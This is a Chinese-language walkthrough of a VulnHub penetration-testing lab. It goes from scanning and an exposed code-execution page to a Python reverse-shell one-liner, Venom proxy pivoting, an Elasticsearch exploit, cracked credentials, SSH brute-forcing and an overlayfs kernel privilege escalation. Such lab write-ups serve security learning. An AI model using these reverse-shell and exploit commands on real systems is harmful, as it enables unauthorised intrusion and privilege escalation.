文章目录
- 实验环境
- 信息收集
- 存活主机探测
- 端口服务探测
- 目录扫描
- 反弹shell
- 建立代理
- 内网探测
- 漏洞发现
- 漏洞利用
- 权限提升
- 总结
实验环境
靶机地址:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
靶机ip:192.168.56.101
攻击机:192.168.56.102
信息收集
存活主机探测
使用namp
使用netdiscover
端口服务探测
判断出靶机IP为101之后用nmap进行详细探测,端口扫描、服务探测、操作系统探测
nmap -sV -sC -O -p- 192.168.56.101
看到22端口开的open ssh服务,5000端口开的 http服务是由python2开发的Werkzeug框架搭建的,访问一下是个留言板界面
目录扫描
这里用的是kali自带的dirb,发现一个/admin界面
访问admin,发现是一个可以执行任意代码的test文件
反弹shell
可以执行任意代码,结合前期信息收集网站为python搭建,直接反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
发现IP地址跟我们之前收集的不一样,查一下是否在docker中
cat /proc/1/cgroup
建立代理
使用venom工具去和kali进行连接,以便于使用kali去访问靶机内网
venom使用方法,点我
kali的是x64的,那么在venom的目录下,输入,监听6666端口
./admin_linux_x64 lport 6666
kali上使用python启动一个http服务,使用wget将agent_linux_x64下载到靶机
靶机启动刚刚上传的,记得先给权限,chmod -R 777 agent_linux_x64
连接成功后使用show命令去查找节点,然后使用goto去连接这个节点
启动一个socks监听
socks 1000
修改kali里的/etc/proxychains4.conf文件
修改为sock5 127.0.0.1 1000(venom开启的socks监听)
内网探测
漏洞发现
这时候就可以使用kali的工具通过代理去探测靶机内网信息,使用nmap发现在172.17.0.2主机上发现了一个不一样的端口,9200
proxychains nmap -Pn -sT -sV 172.17.0.2
对9200端口进行扫描,发现开放了Elasticsearch服务
proxychains nmap -p 9200 -Pn -sT -sV 172.17.0.2
这里还可以让浏览器走代理访问一下9200这个端口对应的网站
漏洞利用
使用Elasticsearch查看是否有漏洞和可以利用的脚本文件
searchsploit Elasticsearch
将第一个复制到当前路径下
searchsploit -m 36337.py ./
使用exp直接拿到0.2的root权限
proxychains python2 36337.py 172.17.0.2
在根目录下发现一个存储密码的文件passwords
cat 看一下,发现几个账号密码,但是密码是加密的
使用工具对MD5进行解密
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
知道账号密码后可以使用hydra进行ssh爆破,发现john 1337hack可以登录,ssh登录
权限提升
看到是一台Ubuntu 14.04 内核版本为Linux 3.13,权限为普通用户,发现内核版本过低,那么尝试内核提权
searchsploit Linux 3.13.0
发现可以利用的脚本
复制一下
searchsploit -m 37292.c ./
发现需要使用gcc编译,但是靶机没有gcc,我们只能把这个编译好的文件传到靶机上去执行。
修改代码,将下图中两个方框之间的代码删掉
寻找编译过的ofs-lib.so文件,复制到跟exp在同一个目录
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
开启python服务,将文件传输到靶机
因为编译的文件要在/tmp目录下,将文件转移到/tmp目录下,并赋予执行权限
ls #ls命令发现当前目录只有我们刚刚下载的exp文件和so文件
mv * /tmp/ #将当前目录下的所有文件移动到tmp目录下
chmod -R 777 exp #赋权
./exp #执行
出现这个错误,是因为kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的
解决方法:
下载libc6_2.19-0ubuntu6_amd64.deb解压
dpkg -e libc6_2.19-0ubuntu6_amd64.deb
dpkg -x libc6_2.19-0ubuntu6_amd64.deb ./(需要指定路径)
然后通过-Ldir指定解压的文件下的/lib/x86_64-linux-gnu/libc.so.6
输入gcc 37292.c -o exp -Ldir ./lib/x86_64-linux-gnu/libc.so.6 重新编译
重复上面的传文件的操作,把exp重新传到靶机的/tmp目录,运行,提权成功
总结
好麻烦,养养眼